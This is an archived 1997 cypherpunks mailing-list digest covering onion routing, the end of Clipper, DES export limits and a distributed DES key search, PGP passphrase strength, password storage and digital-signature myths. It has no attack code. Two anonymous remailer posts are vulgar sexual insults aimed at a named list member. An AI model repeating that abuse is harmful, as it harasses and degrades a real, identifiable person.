Message-ID: <Pine.GSO.3.95.970221084630.8510A-100000@banana-jr.itd.nrl.navy.mil>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Robert Hettinga <rah@shipwright.com> wrote:
>+At 8:29 pm -0500 on 2/18/97, ! Drive wrote:
>+>A proposal and prototype of a different anonymity mechanism can be found at:
>+>   http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html
>+
>+And, of course, you can hear about the next generation from the same
>+bunch, on Monday morning at FC97:
>+
>+    Unlinkable Serial Transactions
>+    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
>+    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
>+    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

Hey!  I always love it when someone references *MY* work :-) Just for
the record: Paul, David, and I did (and continue to do) the Onion
Routing work...Stuart, Paul, and David are working on other areas
together (granted, those areas may use a system like Onion Routing to
accomplish some of the anonymity necessary, but it is different work).
If anyone wants more info than the URL above gives, drop me a line...

- -Michael
 Computer Engineer / Research Scientist
 Computer Security Section (code 5542)
 Center for High Assurance Computer Systems
 Naval Research Laboratories

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 21 Feb 1997 20:54:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Clipper article in  Cu Digest, #9.10, Wed 20 Feb 97
In-Reply-To: <199702210613.WAA03126@weber.ucsd.edu>
Message-ID: <3.0.1.32.19970221091636.00639720@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


CUD is available at  URL: http://www.soci.niu.edu/~cudigest/
Here are some excerpts:

>>From --  Fight Censorship <FIGHT-CENSORSHIP@vorlon.mit.edu>
>  Federal Computer Week
>  DOD sinks the Clipper
..
>  The Defense Department plans to remove the government key escrow
>  software from its Fortezza cards used on the Defense Message System, a
>  move that signals the death of the Clinton administration's
>  controversial Clipper initiative and one that should encourage
>  civilian use of the cryptographic cards.
>
>  A DOD spokeswoman confirmed the decision to remove the key escrow but
>  would not provide further details.
>
>  The DOD decision, which will be formalized in a policy expected out
>  shortly, is in response to the administration's decision last October
>  to support key recovery technology instead of the controversial
>  Clipper initiative. Each agency must decide how it will implement the
>  government's policy internally. A technical advisory committee will
>  develop standards for a federal key management infrastructure.
...
>  DOD has for years pressured civilian agencies to use government escrow
>  technology, but the agencies were wary of the law enforcement access.
>  Stephen Walker, president and chief executive officer of Trusted
>  Information Systems Inc. (TIS), said the policy will remove the last
>  remnants of the Clipper and serve as an official endorsement of key
>  recovery technology.
>
>  "This is the end of Clipper,'' Walker said. "This is a very positive
>  move because it puts the Defense Department in a posture of using
>  commercial products instead of Defense Department products. If the
>  Defense Department is moving away from key escrow, no one else is
>  going to feel obligated to have key escrow either."
....
>  Sources said DOD's move was targeted to increase the appeal of the
>  Fortezza card to users outside DOD.
>
>  Bruce McConnell, chief of information policy at the Office of
>  Management and Budget, said the move would make Fortezza cards more
>  attractive, but he cited different reasons. "It does encourage people
>  to use it because it moves toward the commercial approach that's being
>  taken," he said.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 21 Feb 1997 07:04:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DES search publicity (was Re: Cryptanalysis)
Message-ID: <199702211504.HAA07158@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Thu, 20 Feb 1997 19:07:18 -0500 (EST)
> From:          "Mark M." <markm@voicenet.com>
> 
> On Wed, 19 Feb 1997, Adam Back wrote:
> 
> > Have there been any sightings of your code outside the US?
> > 
> > Rumor has it that ftp://ftp.******.com/pub/incoming is a place where
> > things often turn up, but I haven't seen it yet.
> 
> Last time I checked, deskr06i.zip, which I believe is the correct filename,
> was in /pub/incoming.
> 
> 
> Mark

I have not checked this file to see if it is correct.

For the record (which is why I've added coderpunks and 
cryptography), I have never exported cryptographic
software without permission. Everyone to whom I have 
sent DESKR to has positively affirmed that they are 
US/Canadian citizens (or US Green Card holders), 
in the US/Canada, and were aware of, and would abide 
by the ITAR/EAR restrictions. 

The source code and executable are draped in warnings of it's
non-exportability. I have bent over backwards to do due
diligence on this, and am still trying to track down a 
restricted ftp server which, in my (possibly extreme) opinion,
meets my requirements. I have no intention or desire to
be the next poster child for crypto export.

In other words: I disclaim any responsibility for someone
else's exporting DESKR, if that is what this file contains.
Someone else may have knowingly broken the export regs,
but it wasn't me, nor was it done at my request, or with my
approval.

Peter Trei
trei@process.com
ptrei@acm.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Darren Reed <darrenr@cyber.com.au>
Date: Thu, 20 Feb 1997 17:58:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Correct paranoia about evesdropping.
Message-ID: <199702210157.MAA05117@plum.cyber.com.au>
MIME-Version: 1.0
Content-Type: text



I don't read cypherpunks any more, and this may have already been
mentioned but it can't hurt to be pushed again.

Whilst not directly related to cryptography, if any of you saw the
chapters from "Secret Power" posted to best-of-security, know that
that particular book is well worth reading.  Of interest to those
who are concerned for privacy from snooping:

* NSA/DSD/CSE/etc (same type of organisation in different countries)
  use ground stations around the globe to intercept satellite to ground
  transmissions, have a network of computers built up to scan all telexes,
  faxes and even some internet traffic for known keywords in real time;

* there exist computers which can process speech in real time and scan
  for known text/words;

* embassies are popular "listening posts", as are buildings "along route"
  of microwave transmissions;

No mention is made about what their capacity is to decrypt data, but
encrypted data is analysed (e.g. high level Russian stuff).

The book has been extensively researched, with an appendix of all the
sources where relevant (i.e. newspapers articles, etc).  Photographs
of many overseas "bases" are included (e.g. Yakima in Japan).  Heck,
I live less than 1km from one of the sites photographed!

It's not an attractive book, but informative and good reading.

A quote from the book, talking about agent activities and involvement
in surveilence operations: "There is no evidence of a UKUSA code of ethics
or of a tradition of respect for Parliament or civil liberties in their home
countries.  The opposite seems to be true: that anything goes as long as you
do not get caught. Secrey not only permits but encourages questionable
operations."  The extent of the secrecy around the subject matter in the
book is best represented by the comments of a former New Zealand
Primeminister' foreword which admits that he was unaware of many details
in the book but not which ones.  I imagine it would be likewise enlighening
to many recent politicians of high station...

So, in summary, paranoia about being listened to is well formed, especially
if you're involved in overseas communications.  Just assume it is being
"tapped" if it is in clear text and you'll save yourself a lot of worrying
about the "might-be" factor.

"Secret Power"
ISBN 0-908802-35-8
Craig Potton Publishing,
Box 555, Nelson
New Zealand.
First publishing 1996, reprinted 1996.
Approximate cost AUS$35 (inc. freight)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 21 Feb 1997 10:10:55 -0800 (PST)
To: cryptography@c2.net
Subject: Prizes, and coordinated vs uncoordinated search, redux.
Message-ID: <199702211810.KAA09549@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Sorry about the long list of lists, but this issue
is being discussed in all of them.]


1. 
Different set of people seem to be working towards
different sets of goals, and this seems to be the
source of a lot of contention.

My personal goal is to promote the easing of US export
restrictions on cryptographic software. I regard these
restrictions as promoting crime and espionage. They 
are also driving US jobs overseas, and crippling the
US software industry's ability to compete in the 
world marketplace (yes, I'm an American, and have 
every intention of promoting my countries best 
interests).

Recently, the US government tightened the rules on
cryptographic software export, but left one tiny
Devil's bargain of a loophole: if firms would agree
in future to compromise the integrity of their
products by adding back doors for 'key recovery',
then they could export single DES sofware without 
'key recovery' until the end of 1998.

Clearly, the government's intent is to bribe software
developers into 'voluntarily' adopting GAK (Government
Access to Keys), when they would never do so without
incentive. The rules also require that if either end
of a transmission uses a GAK'd product, then both
sides of the transmission must be tappable. This 
makes it difficult for GAK'd and non-GAK'd products to
interoperate, and is a wedge to force GAK'd products
into even purely domestic communications.

I think that this is a horrible idea. 

One way to fight it is to discredit DES, by showing 
that any one with sufficient computing resources (or 
a modest amount of cash) can get single-DES keys 
broken. If I destroy the market for new DES products,
developers will have less incentive to go along with
the government's Faustian scheme.

The model I am trying to emulate is that of a criminal
or spy agency which wishes to decrypt a captured 
transmission. It's not unusual for such a capture to 
have a  partially known plaintext. In some cases, 
they may be able to use special hardware to search 
the keyspace quickly, but if they don't, they could
simply put out a message on the sci.crypt: "Tell me
what DES key decrypts 0f 1e 2d 3c 4b 5a 69 78 to 
'HTTP/1.0' and I'll send you $10,000." This level
of attack is available to almost anyone, and I intend
to show that it is effective. 

------------------

As for the prize money, if the person winning it wants
to send it to a non-profit organization, or is contractually
bound to dispose of it in some particular way, that's 
their business. Myself, I'd probably buy a couple really 
top-of-the-line PCs (for me and my wife), and throw a big
party.

Thomas S. writes:
> 2. What about the developers? They invest an awful lot of time and
>    effort into this project because they believe in a future of the
>    internet. The majority would be very unhappy if the money would
>    be used for personal profit.

Speaking as a developer: I've been working on this project
in my spare time for about 5 months now. When I talked to 
RSA about how to best set up the challenge, I *wanted* 
the money to go to the person finding the key, and I am 
pleased that that is what they have done.

Which particular developers do you claim to speak for, 
anyway? Can't they speak for themselves?

-------------------------

If the coordinated groups don't want to share their
keyspace maps with others, that's their business. 
Effectively, they become just another uncoordinated
searcher (though a very fast one). If a coordinated
searcher does publish it's map, then people who trust
it can use the data to avoid going over old ground.
This would speed the search as we near the end, but
has very little effect at the beginning.
--------------------------- 

The coordinated groups are still trying to get their
infrastructure in place. In the meantime, at my small
employer, we are already searching about 10 million
keys/sec, with probably twice that being searched by
people with my software on the outsde. And I have still
to do a general call for participation...

Peter Trei
trei@process.com
ptrei@acm.org

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Simon Spero <ses@tipper.oit.unc.edu>
Date: Fri, 21 Feb 1997 11:10:44 -0800 (PST)
To: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Subject: Re: DES and RSA crypto hardware from the free world
In-Reply-To: <85595791717269@cs26.cs.auckland.ac.nz>
Message-ID: <Pine.SUN.3.91.970221140923.26508A-100000@tipper.oit.unc.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Peter Gutmann wrote:

> I've just got the details on two new crypto chips produced by the Dutch company
> Pijnenburg Custom Chips B.V.  These are the PCC 201 bignum coprocessor and the

Were those prices 1-off? Any idea what the price would be for volume?


-----
             Now available - The Freddy Hayek Kayak
           Paddle Your Own Canoe! Be Rowed To Surfdom!
         From The Taco Institute for Dyslexic Libertarians    





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Fri, 21 Feb 1997 11:38:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702211918.OAA15425@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May's obsessive masturbation has lead to advanced degree 
of blindness and hairy palms.

          __\/__
      .  / ^  _ \  .
      |\| (o)(o) |/|
  -.OOOo----oo----oOOO.- Timmy C[reep] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 21 Feb 1997 12:11:07 -0800 (PST)
To: DCSB Distribution <rah@shipwright.com>
Subject: DCSB: Online Government & Electronic Commerce - Legislation and Public Sector Initiatives
Message-ID: <v0302090baf33ac4bdb7a@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


                 The Digital Commerce Society of Boston

                              Presents
                       Daniel Greenwood, Esq.
                       Deputy General Counsel
                  Information Technology Division
                   Commonwealth of Massachusetts

             "Online Government & Electronic Commerce -
              Legislation and Public Sector Initiatives"



                        Tuesday, March 4, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA


Dan will give us an update on recent information age legislative and
operational developments in the public sector.  Special attention will be
paid to: Electronic Signature and Record Legislation; Joint
Government/Private Sector Attempts to Set Certification Authority
Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated
State-Federal-Foreign Electronic Commerce Policy Initiatives; and much,
much more . . .

Speaker:
Daniel Greenwood, Esq.
Information Technology Division, Deputy General Counsel
Commonwealth of Massachusetts
Office: http://www.state.ma.us/itd/legal
home: http://www.tiac.net/biz/danielg

Mr. Greenwood practices information technology law for the Commonwealth
of Massachusetts.  Recent relevant activities include:
* Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act
* Chairman of the Commonwealth of Mass. PKI Task Force
* Chairman of the ABA Info. Security Comm., Legislative Sub-Committee
* Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group
* Contributing Author: ABA Digital Signature Guidelines
* Negotiator of Contracts for Internet Security and Payment Systems
* Board Member of SigNet.Org and Chair of Legal Special Interest Group
* Director of the Virtual State House Project (MIT/Stanford Law School)
* Faculty Member: MCLE Health Care & Info. Technology Program
* Guest Lecturer for Suffolk Law School High Tech. Symposium
* Selection Board Chairman for First Commonwealth of Mass. C/A Business


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, March 1, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

March  Daniel Greenwood  The Role of State Government in Digital Commerce
April  Stewart Baker     Encryption Policy and Digital Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

Looking forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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7pwwVbkioSc=
=m5Pz
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 21 Feb 1997 12:18:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
Message-ID: <v03020912af33b31c75a8@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Authentication-Warning: arraydev.com: majordom set sender to
owner-ibc-forum using -f
X-Sender: tom@arraydev.com
Date: Fri, 21 Feb 1997 13:31:31 -0500
To: ibc-forum@ARRAYdev.com
From: Tom McKegney <Tom.McKegney@arraydev.com>
Subject: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
Mime-Version: 1.0
Sender: owner-ibc-forum@arraydev.com
Precedence: bulk
Reply-To: ibc-forum@arraydev.com

I pass on the following which was received

Thu, 20 Feb 1997 16:58:48 -0500
From: Lara Becker <lbecker@law.harvard.edu>


                 The International Tax Program
                       Harvard University

       International Tax Program and the Tax Law Society
                   1997  Spring Symposium on

      MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE

                       Saturday, April 5,
                 Cambridge, Massachusetts,U.S.A.


The Symposium:

Billions of dollars of valuable goods and services are
sold, exchanged or transmitted electronically. The amount of such
commercial activity is expected to grow exponentially in the
future. The appropriate taxation of this sector is one of the
most significant new tax issues of our day. The International Tax
Program and the Society for Law and Tax Policy of Harvard Law
School are sponsoring a symposium that will bring together the
leading policy makers, academics and practitioners in this field
in an effort to help derive uniform tax rules in this challenging
dimension of domestic and international taxation.

This symposium will consider a wide range of issues, including:

**Differences in determining the electronic commerce income
tax base.  Should source or residence rules be used, or should
some form of formulary apportionment be applied?

**Problems in imposing retail sales taxes on electronic sales.
Should traditional nexus rules apply?

**Problems in determining the value added by electronic
commercial inputs.  Should a tax be determined based on the
'bits' of information? If so, should each 'bit' be valued the
same?

**Problems involving the harmonization of tax rules.
International and sub-national aspects of this problem will be
considered. OECD efforts in this area will be contrasted with
proposed uniform state legislation in the US.

**Throughout the symposium the impact that these tax decisions
will have on cross-border investment decisions will be a primary
concern.


The Goals of the ITP:

The International Tax Program continues to sponsor symposiums on
topics of critical concern to government and private sector tax
practitioners at Harvard University. It is the belief of the
Program that such discussions will lead to advances in tax
policy, administration and compliance on a global basis. THE
MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE presents
such a challenge. Basic Income tax objectives such as efficiency
and equality of treatment are made more difficult to achieve if
the rules of the game are left to develop on an ad hoc basis.
Through this forum the International Tax Program hopes to
facilitate a meaningful interaction among policy makers around
the core issues of taxation and the internet.
=========


Schedule:

Saturday, April 5, 1997

     7:30 - 8:30: Coffee and Registration

     8:30 - 9:00: Keynote Speaker, Mr. Jeffrey Owens, Chief,
Fiscal Affairs Division: OECD (Paris)

     9:00 - 11:30:INTERNATIONAL PANEL:

     Moderator: Professor Diane Ring, Harvard Law School

     Speakers: Mr. Bruce Cohen, Attorney-Advisor, Office of
International Tax Counsel, U.S. Treasury

     Mr. Alan S. S. Ow, Senior Deputy Commissioner, Inland
Revenue Authority, Singapore

     Mr. Nicasio del Castillo, Partner, Coopers & Lybrand

     Professor Luc Soete, Maastricht Economic Research Institute
on Innovation and Technology, University of Maastricht, the
Netherlands

     Mr. Arthur Cordell, Industry Canada, Special Advisor for
Long Range Planning and Analysis


     11:30 - 12:30: Catered Lunch

     12:30 - 3:00: STATE PANEL

     Moderator: Professor Reuven Avi-Yonah, Harvard Law School

     Speakers: Ms. Deborah Bierbaum, Deputy Commissioner, Office
of Tax Policy, Department of Taxation, New York

     Ms. Linda Lettera, General Counsel, Department of Revenue,
Florida

     Mr. Wade Anderson, Director of Tax Policy, Comptroller of
Public Accounts, Texas

     Mr. Dean F. Andal, Member, State Board of Equalization,
Second District, California

     Mr. Walter Hellerstein, Attorney, Southerland, Asbill &
Brennan

     3:00 - 3:30: Coffee

     3:30 - 6:00: INDUSTRY PANEL

     Moderator: Professor Richard Pomp, University of Connecticut
Law School

     Speakers: Ms. Jeanne Goulet, Director of Tax, IBM Credit,
IBM

     Ms. Allyn Yamanouchi, Vice President and Global Technology
Tax Counsel, CITIBANK

     Mr. James Eads, Jr., and Mr. Paul Nolan, Legal Division,
AT&T

     Mr. Bruce Reid, Director of State and Local Tax, MICROSOFT

     Ms. Ellen Fishbein, Assistant General Counsel, AMERICA
ONLINE
===============

Registration and Fees:

The fee for this program is $500.00. An academic or government
employee discount is available. That fee is $200.00. To register
for the symposium please fill out and return the form below, with
a check or money order made payable to Harvard University, to:

Multi-Jurisdictional Taxation of
Electronic Commerce Symposium
Attn: Lara Becker
1563 Massachusetts Avenue
Pound Hall, Room 400
Cambridge, MA 02138
Lbecker@law.harvard.edu

Fax: 617-495-0423
Tel: 617-495-4406

...............................................................
Registration Form:


1997 Spring Symposium on Multi-Jurisdictional Taxation
of Electronic Commerce, Saturday, April 5, 1997.

Mr./Ms.


Name (First or Given Name)


(Surname or Family Name)


Email Address:


Title:


Organization:


Home Address/Work Address:


Telephone Number:


Fax Number:


I am Paying by:


Check:

Money Order:

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Fri, 21 Feb 1997 13:21:23 -0800 (PST)
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: IDEA/Strength?
Message-ID: <3.0.1.32.19970221162111.006a8310@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Is the strength, or lack thereof, of conventional PGP encryption
proportional
to the length of the conventional password?

For example, when I encrypt conventionally, does it make any difference
internally (disregarding the ability to guess the password) if I choose
to
use the pass phrase heyyou, or
[Harris$Pizza*Axis/LilburnKfreakmaisUoui@(.
Not so much the randomness of my password as the length?

 Do more characters give the encryption process more to work with?

Thanks.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5
Comment: Public key available on request or from keyservers.

iQCVAgUBMw4RtCKJGkNBIH7lAQEDmwP/WANzYA3KVyL5yNyE02hYotMgR6EKPxIm
Q4hP5TiZzAve29CMc972Udeb1BJU9Ow6slHbpoLREH1qlWWqNpzO3YS6X5nYrXDM
NeEf4sCTxkZ/33u48rv4T0ZD69/JGQV11/GMbsI3wJjCKW57Fb8cE8ANj4dDWblm
6spqX6YDecQ=
=/AVU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Fri, 21 Feb 1997 17:46:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702220126.UAA18431@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[rook] May is the living proof that anal sex causes 
pregnancy.

            /\_/\
           ( x x )
       -oo0-(o o)-0oo- Timmy C[rook] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 21 Feb 1997 22:45:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Myths of Digital Signatures: RISKS article by Ed Felten
Message-ID: <3.0.1.32.19970221224202.00655418@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Ed Felten has an article in RISKS Digest, Volume 18, Issue 83,
http://catless.ncl.ac.uk/Risks/18.83.html
called "Myths about digital signatures".  It's focused on the 
	"Microsoft Signed This ActiveX Applet So It Must Be Safe"
delusion.  Nothing we haven't heard before, but a good summary.

He's also announcing a mailing list on security of Java/ActiveX/etc.
===================================================
Mobile code security mailing list
Edward Felten <felten@CS.Princeton.EDU> 
Wed, 19 Feb 1997 19:58:39 -0500

We are starting a moderated mailing list to discuss security issues relating
to mobile code systems like Java, ActiveX, and JavaScript.  To join, send
e-mail to majordomo@cs.princeton.edu; your message body should contain the
single line
"subscribe secure-mobile-code"
or if your desired TO: address is different from your FROM: address,
"subscribe secure-mobile-code" (append your TO: address here)
 ==================================================================



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 21 Feb 1997 23:48:08 -0800 (PST)
To: camcc@abraxis.com (Alec)
Subject: Re: IDEA/Strength?
In-Reply-To: <3.0.1.32.19970221162111.006a8310@smtp1.abraxis.com>
Message-ID: <3.0.1.32.19970221234738.005c05c8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:21 PM 2/21/97 -0500, Alec wrote:
>Is the strength, or lack thereof, of conventional PGP encryption
>proportional to the length of the conventional password?

Sure, up to 128 bits of entropy.  Go check out pgpcrack.  

Suppose you wanted to do a brute-force attack on a PGP conventionally
encrypted document, and you knew the passphrase was one character long.
What would you do?  How many tries would it take to be sure you
got the right passphrase?

Suppose you knew the passphrase was one word in a common on-line dictionary.
What would you do, and how many tries would it take?

Since the passphrase is MD5-hashed to a 128-bit-long key, there are only
2**128 really-different passphrases, though for any given passphrase,
most of the members of the infinitely large class of equivalent passphrases
won't be very easy to remember :-)  Since MD5 is cryptographically strong,
we used to assume it would be hard to find those equivalence classes,
though Dobbertin's work suggests it's not as hard to find collisions as we
used to assume.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 22 Feb 1997 00:03:06 -0800 (PST)
To: Ed.Falk@Eng.Sun.COM (Ed Falk)
Subject: Re: Interesting question: how to safely keep passwords online
In-Reply-To: <199702181940.LAA24732@peregrine.eng.sun.com>
Message-ID: <3.0.1.32.19970222000137.00622bd8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM 2/18/97 -0800, Ed Falk wrote:
>Here's a question that's been on my mind lately:  Often, you like
>to keep external passwords stored on your personal computer.  As a quick
>example, Eudora will remember your POP password for you so you don't
>have to enter it every time.  Obviously, Eudora keeps this on disk
>somewhere.
>The question is: is there any (relatively) safe way to do this? 

Depends on your threat models....

The relatively safe way is to use an encrypted disk volume,
so everything stored on it is "safe", though any time the 
disk volume is open, you're obviously at risk.  My laptop is
relatively secure, unless someone has physical access to it;
if I used a boot password and encrypted disk volume it would require
an active attack to get the information, rather than simple theft.
(NT has a password, but it's not worth much if you've got the disk.)

Another popular approach, which PGP uses for storing private keys,
is to store the keys in an encrypted file, and use a passphrase for access;
variants include one passphrase for the whole file, or one passphrase
per record.  Of course, if you can replace the "PGP" program with a
trojan version, you can still steal the passphrase.  Or you can use a
keystroke sniffer to store any password-like input.

Of course, an even more popular approach is to ignore the problem,
and just leave the password around in plaintext in an INI file or Registry,
or encrypt it with some Really Secure KeyLess Proprietary Algorithm,
like rot13 ("We'll fool them - we'll use rot39!  It's 3 times as secure!")

If you've got off-machine storage, e.g. a SecureID-like calculator
or other smartcard with on-card PIN entry, you can do actual security.
Even then you need to be careful about all the protocols; it doesn't do
much good to have a 4096-bit RSA key if a trojan shim can replace the card's
response of "Not OK" with "OK" before the real application reads it.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Evan Platt (IN3501)" <eplatt@wco.com>
Date: Sat, 22 Feb 1997 01:14:46 -0800 (PST)
To: (Recipient list suppressed)
Subject: Re: Photos Digitized and Theyre Done Dirt Cheap!
Message-ID: <3.0.32.19970222001335.006f4f2c@mail.wco.com>
MIME-Version: 1.0
Content-Type: text/plain


Attn: you fell victim to this persons abuse of Internet E-Mail. You can
help stop him by doing two things: 1. do NOT use his service. Find
somewhere else to get photos scanned. 2. Forward a COMPLETE copy of his
message with all headers intact to
postmaster@aol.com,abuse@aol.com,tosadvisor@aol.com,stevecase@aol.com,root@a
ol.com
This will make sure that AOL knows you do NOT want to receive this persons
crap, and they will shut down his account.
Thank you for listening, and help stop SPAM!

At 01:26 PM 2/21/97 -0500, Bulkyman@aol.com wrote:
>Photos Digitized and They're Done Dirt Cheap!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 21 Feb 1997 22:02:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Risks on digital signatures, several other topics
Message-ID: <01IFP51YM3FK8Y52G0@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 21-FEB-1997 23:42:52.06
From: Phil Agre <pagre@weber.ucsd.edu>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Fri, 21 Feb 1997 08:58:34 -0800 (PST)
From: risks@csl.sri.com
Subject: RISKS DIGEST 18.83

RISKS-LIST: Risks-Forum Digest  Friday 21 February 1997  Volume 18 : Issue 83

----------------------------------------------------------------------

Date: Wed, 19 Feb 1997 17:12:43 -0500
From: Edward Felten <felten@CS.Princeton.EDU>
Subject: Myths about digital signatures

There has been a lot of public discussion lately about digital signatures on
mobile code.  Several myths permeate this discussion.  I'd like to puncture
three of them.

* Myth 1: Digital signatures let you know who wrote a program, or where it
came from.

Reality: Anybody can remove the author's signature or add their own
signature.  At best, a signature tells you that the signer endorsed the
